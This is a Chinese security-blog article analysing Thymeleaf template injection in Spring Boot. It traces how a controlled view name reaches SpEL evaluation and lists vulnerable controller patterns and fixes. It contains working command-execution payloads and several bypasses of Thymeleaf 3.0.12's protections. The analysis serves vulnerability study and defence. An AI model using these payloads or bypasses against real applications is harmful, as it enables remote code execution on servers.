freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

完全搞懂Thymeleaf SSTI
2022-07-23 13:35:00
所属地 四川省

Thymeleaf 模板注入

简单介绍

Spring Boot 推荐使用 Thymeleaf 作为其模板引擎

Spring Boot 整合 Thymeleaf 模板引擎,需要以下步骤:

  1. 引入 Starter 依赖

  2. 创建模板文件,并放在在指定目录下

引入依赖

<!--Thymeleaf 启动器-->
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>

创建模板文件并配置

spring:
  thymeleaf:
    cache: false
    prefix: classpath:/templates/
    encoding: UTF-8
    suffix: .html
    mode: HTML

resources下创建静态文件

<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
    <meta charset="UTF-8">
    <title>Test</title>
</head>
<body>
    <div th:fragment="main">
        <span th:text="'hello ' + ${message}"></span>
    </div>
</body>
</html>

基本语法

  • ${}: 标准变量表达式

  • *{} th:object选择变量表达式

先用 th:object来绑定 blog 对象(th:object="${blog}"), 然后用 * 来代表这个 blog对象(*{blog})

  • @{..} th:href链接表达式

  • th:action资源重定向

  • th:each遍历

模板注入分析

thymeleaf 3.0.11.RELEASE

搭建漏洞环境

spring-boot 2.5.0 RELEASE版

<thyeleaf.version>3.0.11.RELEASE</thyeleaf.version>
package com.roboterh.fastjsondemo.controller;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class ThymeleafController {

    @GetMapping("/")
    public String index(Model model) {
        model.addAttribute("message", "world");
        return "hello";
    }
    @GetMapping("/cmd")
    public String eval(@RequestParam String cmd) {
        return cmd;
    }
}

index方法中,通过Model对象绑定属性,进而通过return寻找hello.html进行渲染,而在cmd路由下,通过接收传参cmd进行寻找html进行渲染

具体分析

使用payload进行debug

首先在org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter#handle方法中,开始处理用户的请求

@Nullable
    public final ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        return this.handleInternal(request, response, (HandlerMethod)handler);
    }

之后在org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod#invokeAndHandle中首先通过invokeForRequest方法提取出了待查的模板文件名

Object returnValue = this.invokeForRequest(webRequest, mavContainer, providedArgs);

最后进入了org.springframework.web.servlet.mvc.method.annotation.ViewNameMethodReturnValueHandler#handleReturnValue方法中,将其转为视图名称

public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
        if (returnValue == null) {
            mavContainer.setRequestHandled(true);
        } else {
            ModelAndView mav = (ModelAndView)returnValue;
            if (mav.isReference()) {
                String viewName = mav.getViewName();
                mavContainer.setViewName(viewName);
                if (viewName != null && this.isRedirectViewName(viewName)) {
                    mavContainer.setRedirectModelScenario(true);
                }
            } else {

spring boot最终在org.springframework.web.servlet.DispatcherServlet#processDispatchResult方法中,调用Thymeleaf模板引擎的表达式解析。将上一步设置的视图名称为解析为模板名称,并加载模板,返回给用户。核心代码如下org.thymeleaf.standard.expression.IStandardExpressionParser#parseExpression

最后到达了重要的执行逻辑org.thymeleaf.spring5.view.ThymeleafView#renderFragment

前面都是一些获取值和判断的过程,在之后的if判断语句中有

image-20220722181824413.png

如果传入的模板名中包含了::就会将模板名使用~{name}进行包裹后传入parseExpression方法中,之后通过StandardExpressParser#parseExpression进行处理input,即处理后的模板名

image-20220722182501652.png

在其中调用了preprocess方法进行处理操作

image-20220722183520847.png

这里有一个正则匹配,匹配出了__xxx__格式的字符串,在后面的逻辑中也分割出了__前的部分strBuilderxxx部分

之后将xxx部分通过StandardExpressionParser.parseExpression生成表达式,之后调用他的execute方法执行,一直到了VariableExpression#executeVariableExpression方法中调用了

image-20220722192639802.png


形成了SPEL注入

Payload构造

所以构造payload的格式为: 首先SPEL表达式为xxx需要有__xxx__然后需要存在::即最后的格式为__SPELexpress__::x

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::RoboTerh
__${T(java.lang.Runtime).getRuntime().exec("calc")}__::RoboTerh

thymeleaf 3.0.12.RELEASE

版本差异一
细节分析

在这个版本中在util目录添加了SpringStandardExpressionUtils.java文件

https://github.com/thymeleaf/thymeleaf/compare/thymeleaf-spring5-3.0.11.RELEASE...thymeleaf-spring5-3.0.12.RELEASE

在这个文件注释中有

/*
* Checks whether the expression contains instantiation of objects ("new SomeClass") or makes use of
 * static methods ("T(SomeClass)") as both are forbidden in certain contexts in restricted mode.
 */
禁止使用new创建类和T()创建静态类

在执行表达式的时候将会经过该函数的判断

containsSpELInstantiationOrStatic:43, SpringStandardExpressionUtils (org.thymeleaf.spring5.util)
getExpression:367, SPELVariableExpressionEvaluator (org.thymeleaf.spring5.expression)
obtainComputedSpelExpression:315, SPELVariableExpressionEvaluator (org.thymeleaf.spring5.expression)
evaluate:182, SPELVariableExpressionEvaluator (org.thymeleaf.spring5.expression)
executeVariableExpression:166, VariableExpression (org.thymeleaf.standard.expression)
executeSimple:66, SimpleExpression (org.thymeleaf.standard.expression)
execute:109, Expression (org.thymeleaf.standard.expression)
execute:138, Expression (org.thymeleaf.standard.expression)
preprocess:91, StandardExpressionPreprocessor (org.thymeleaf.standard.expression)
parseExpression:120, StandardExpressionParser (org.thymeleaf.standard.expression)
parseExpression:62, StandardExpressionParser (org.thymeleaf.standard.expression)
parseExpression:44, StandardExpressionParser (org.thymeleaf.standard.expression)
renderFragment:282, ThymeleafView (org.thymeleaf.spring5.view)
render:190, ThymeleafView (org.thymeleaf.spring5.view)
render:1396, DispatcherServlet (org.springframework.web.servlet)
processDispatchResult:1141, DispatcherServlet (org.springframework.web.servlet)
doDispatch:1080, DispatcherServlet (org.springframework.web.servlet)
doService:963, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:626, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:733, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:202, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:542, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:143, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:357, CoyoteAdapter (org.apache.catalina.connector)
service:374, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:893, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1707, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

跟入containsSpELInstantiationOrStatic方法中

其主要逻辑是首先 倒序检测是否包含wen关键字、在(的左边的字符是否是T,如包含,那么认为找到了一个实例化对象,返回true,阻止该表达式的执行

因此绕过这个函数的检测的方法:

1、表达式中不能含有关键字new
2、在(的左边的字符不能是T
3、不能在T(中间添加的字符使得原表达式出现问题

Bypass

可以在T(之间使用绕过的字符

  • %20

  • %0a

  • %09

  • %0d

  • %00

  • 还可以fuzzing寻找

__${T%20(java.lang.Runtime).getRuntime().exec("calc")}__::.x
利用场景
  • 针对的是传入的路径名可控

  • 需要进行路径的拼接
    类似这种:

@GetMapping("/admin")
    public String path(@RequestParam String lang) {
        return "en/test/" + lang;
    }

如果是这种就会抛出版本差异二中的错误

@GetMapping("/home/{page}")
    public String getHome(@PathVariable String page) {
        return "home/" + page;
    }

为什么呢?
因为第二种就会导致path和返回的视图名一样,就会抛出错误,当然,值得注意的是,如果不进行拼接,单独返回视图名,也会被拦截

版本差异二
细节分析

使用上面第二个版本的GetMapping进行实验

使用上面的payload但是报错了

View name is an executable expression, and it is present in a literal manner in request path or parameters, which is forbidden for security reasons.

应该是这版本做出了某个限制

同样增加了SpringRequestUtils.java文件

在commit中的描述

https://github.com/thymeleaf/thymeleaf/blob/thymeleaf-spring5-3.0.12.RELEASE/thymeleaf-spring5/src/main/java/org/thymeleaf/spring5/util/SpringRequestUtils.java

Avoid execution of view name as a fragment expression if view name is contained in the path or parameters of the URL

如果视图的名字和 path 一致,那么就会经过SpringRequestUtils.java中的checkViewNameNotInRequest函数检测

根据报错找到详细逻辑在org.thymeleaf.spring5.util.SpringRequestUtils#checkViewNameNotInRequest

public final class SpringRequestUtils {
    public static void checkViewNameNotInRequest(String viewName, HttpServletRequest request) {
        String vn = StringUtils.pack(viewName);
        String requestURI = StringUtils.pack(UriEscape.unescapeUriPath(request.getRequestURI()));
        boolean found = requestURI != null && requestURI.contains(vn);
        if (!found) {
            Enumeration paramNames = request.getParameterNames();

            while(!found && paramNames.hasMoreElements()) {
                String[] paramValues = request.getParameterValues((String)paramNames.nextElement());

                for(int i = 0; !found && i < paramValues.length; ++i) {
                    String paramValue = StringUtils.pack(UriEscape.unescapeUriQueryParam(paramValues[i]));
                    if (paramValue.contains(vn)) {
                        found = true;
                    }
                }
            }
        }

        if (found) {
            throw new TemplateProcessingException("View name is an executable expression, and it is present in a literal manner in request path or parameters, which is forbidden for security reasons.");
        }
    }

在这段逻辑中,它不仅检查了请求的路径,而且检查了请求的参数,如果他们其中一个和传入的模板名称一致,就会导致错误的抛出

我们只需要令requestURI.contains(vn)为假,就能达到我们的目的

虽然contains方法不区分大小写,但是在pack方法中已经小写化了

但是在UriEscape.unescapeUriPath中一直跟进到了UriEscapeUtil.unescape方法中也就是处理了+%符号

Bypass

这里有两种绕过方法

;/__${T(java.lang.runtime).getruntime().exec("calc")}__::.x
//__${T(java.lang.runtime).getruntime().exec("calc")}__::.x

法一:

因为在 SpringBoot 中,SpringBoot 有一个功能叫做矩阵变量,默认禁用,如果发现路径中存在分号,那么会调用removeSemicolonContent方法来移除分号

法二:

将多余的/去掉

利用场景

使用RestFul风格的api才可以

Bypass trick

  • 在进行SPEL解析的过程中org.springframework.expression.spel.standard.Tokenizer#process方法中

以字符为单位遍历表达式内容,若当前字符为a-z或者A-Z,则执行lexIdentifier方法,在lexIdentifier方法中,继续遍历表达式内容,直到遍历到的字符不是a-z A-Z、0-9、_、$结束此次遍历,并将此次遍历的所有字符封装在Token对象中,最后存储List<Token> tokens中。否则走else分支

else分支中,若遇到\u0000\r\n\t、``不做任何处理,直接跳出switch语句,并进入下一个字符的判断

所以%00 %0a %0d %09 %20可以绕过

__${T%20(%0ajava.lang.Runtime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')}__::.x
  • T获取class过程中org.springframework.expression.spel.ast.TypeReference#getValueInternal方法中

根据字符串typeName获取对应的Class对象实例,跟入org.springframework.expression.spel.ExpressionState#findType,发现通过SpEL表达式上下文对象去寻找typeName对应的Class对象实例,在Thymeleaf中,此时默认的SpEL上下文对象为org.thymeleaf.spring5.expression.ThymeleafEvaluationContext对象实例,可看到继承org.springframework.expression.spel.support.StandardEvaluationContext对象,而StandardEvaluationContext支持type references,接着跟入org.springframework.expression.spel.support.StandardEvaluationContext#getTypeLocator,发现默认使用StandardTypeLocator

最后可以发现在org.springframework.expression.spel.support.StandardTypeLocator#findType方法,可以发现此方法在异常出现时进行了一次补救:当通过typeName没有找到对应的Class对象时,则拼接前缀java.lang后继续获取对应的Class对象

所以不用指定全类名

__${T%20(%0aRuntime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')}__::.x

Payload

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::RoboTerh
__${T(java.lang.Runtime).getRuntime().exec("calc")}__::RoboTerh
__${T%20(java.lang.Runtime).getRuntime().exec("calc")}__::.x
;/__${T(java.lang.runtime).getruntime().exec("calc")}__::.x
//__${T(java.lang.runtime).getruntime().exec("calc")}__::.x

不安全代码

spring官方对返回值的说明

Servlet Stack 上的 Web (spring.io)

@GetMapping("/path")
    public String path(@RequestParam String lang) {
        return  lang ; //template path is tainted
    }
@GetMapping("/admin")
    public String path(@RequestParam String lang) {
        return "en/test/" + lang;
    }
@GetMapping("/home/{page}")
    public String getHome(@PathVariable String page) {
        return "home/" + page;
    }
@GetMapping("/fragment")
    public String fragment(@RequestParam String section) {
        return "welcome :: " + section; //fragment is tainted
    }

同样就算没有return值也能够触发漏洞

根据spring boot定义,如果controller无返回值,则以GetMapping的路由为视图名称。当然,对于每个http请求来讲,其实就是将请求的url作为视图名称,调用模板引擎去解析

@GetMapping("/doc/{document}")
    public void getDocument(@PathVariable String document) {
//        log.info("Retrieving " + document);
    }
GET /doc/__${T(java.lang.Runtime).getRuntime().exec("calc")}__::.x

修复方案

  1. 设置ResponseBody注解
    如果设置ResponseBody,则不再调用模板解析

  2. 设置redirect重定向

@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
    return "redirect:" + url; //CWE-601, as we can control the hostname in redirect

根据spring boot定义,如果名称以redirect:开头,则不再调用ThymeleafView解析,调用RedirectView去解析controller的返回值
3.response

@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
    log.info("Retrieving " + document); //FP
}

由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析

参考

https://www.cnpanda.net/sec/1063.html

# SSTI
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录